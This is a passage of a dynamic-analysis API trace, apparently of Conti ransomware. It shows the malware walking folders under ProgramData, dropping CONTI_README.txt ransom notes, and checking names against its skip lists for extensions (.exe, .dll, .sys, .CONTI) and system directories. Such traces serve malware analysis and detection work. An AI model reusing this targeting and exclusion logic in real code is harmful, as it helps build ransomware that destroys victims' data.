	[0106.462] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov"
	[0106.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\"
	[0106.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime"
	[0106.462] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned 89
	[0106.462] GetProcessHeap () returned 0x1720000
	[0106.462] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.462] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime"
	[0106.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*"
	[0106.462] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned 89
	[0106.462] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.462] GetProcessHeap () returned 0x1720000
	[0106.462] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c7180
	[0106.462] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime"
	[0106.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\"
	[0106.462] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.462] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0106.462] GetProcessHeap () returned 0x1720000
	[0106.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.462] WriteFile (in: hFile=0x3b0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.463] CloseHandle (hObject=0x3b0) returned 1
	[0106.463] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x534ba5c5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7f30
	[0106.463] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.463] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x534ba5c5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.463] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.463] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.463] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1
	[0106.464] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2=".") returned 1
	[0106.464] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2="..") returned 1
	[0106.464] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.464] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.464] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.464] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.464] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.464] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.464] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.464] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.464] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned 89
	[0106.464] lstrlenW (lpString="0__Power_Policy.provxml") returned 23
	[0106.464] GetProcessHeap () returned 0x1720000
	[0106.464] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c7180
	[0106.464] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime"
	[0106.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\"
	[0106.464] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\", lpString2="0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.464] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ba5c5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x534ba5c5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x534ba5c5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.464] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.464] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.464] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.464] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.464] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ba5c5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x534ba5c5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x534ba5c5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.464] GetProcessHeap () returned 0x1720000
	[0106.464] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.464] FindClose (in: hFindFile=0x17c7f30 | out: hFindFile=0x17c7f30) returned 1
	[0106.464] GetProcessHeap () returned 0x1720000
	[0106.464] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.464] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.464] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.465] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.465] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.465] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.465] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.465] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.465] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.465] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.465] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.465] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.465] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned 81
	[0106.465] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.465] GetProcessHeap () returned 0x1720000
	[0106.465] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cbf30
	[0106.465] lstrcpyW (in: lpString1=0x17cbf30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov"
	[0106.465] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\"
	[0106.465] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml"
	[0106.465] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.465] GetProcessHeap () returned 0x1720000
	[0106.465] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510ac8 | out: hHeap=0x1720000) returned 1
	[0106.465] FindClose (in: hFindFile=0x17c8370 | out: hFindFile=0x17c8370) returned 1
	[0106.465] GetProcessHeap () returned 0x1720000
	[0106.465] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.465] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.465] GetProcessHeap () returned 0x1720000
	[0106.465] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f3e0 | out: hHeap=0x1720000) returned 1
	[0106.465] FindClose (in: hFindFile=0x17c7eb0 | out: hFindFile=0x17c7eb0) returned 1
	[0106.465] GetProcessHeap () returned 0x1720000
	[0106.465] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e4c8 | out: hHeap=0x1720000) returned 1
	[0106.465] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1
	[0106.465] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2=".") returned 1
	[0106.465] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="..") returned 1
	[0106.465] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="tmp") returned -1
	[0106.465] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="winnt") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="Application Data") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="AppData") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="temp") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="thumb") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="$Recycle.Bin") returned 1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="$RECYCLE.BIN") returned 1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="System Volume Information") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="Program Files") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="Program Files (x86)") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="Boot") returned -1
	[0106.466] lstrcmpiW (lpString1="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="Windows") returned -1
	[0106.466] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.466] lstrlenW (lpString="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned 38
	[0106.466] GetProcessHeap () returned 0x1720000
	[0106.466] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173eea0
	[0106.466] lstrcpyW (in: lpString1=0x173eea0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.466] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.466] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}"
	[0106.466] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned 76
	[0106.466] GetProcessHeap () returned 0x1720000
	[0106.466] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173ec00
	[0106.467] lstrcpyW (in: lpString1=0x173ec00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}"
	[0106.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*"
	[0106.467] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned 76
	[0106.467] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.467] GetProcessHeap () returned 0x1720000
	[0106.467] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cb5d0
	[0106.467] lstrcpyW (in: lpString1=0x17cb5d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}"
	[0106.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\"
	[0106.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\CONTI_README.txt"
	[0106.467] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.471] GetProcessHeap () returned 0x1720000
	[0106.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb5d0 | out: hHeap=0x1720000) returned 1
	[0106.471] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.472] CloseHandle (hObject=0x3a8) returned 1
	[0106.472] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x534e0880, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80b0
	[0106.472] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.472] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x534e0880, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.472] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.473] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.473] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534e0880, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x534e0880, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x534e0880, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.473] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.473] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.473] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.473] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
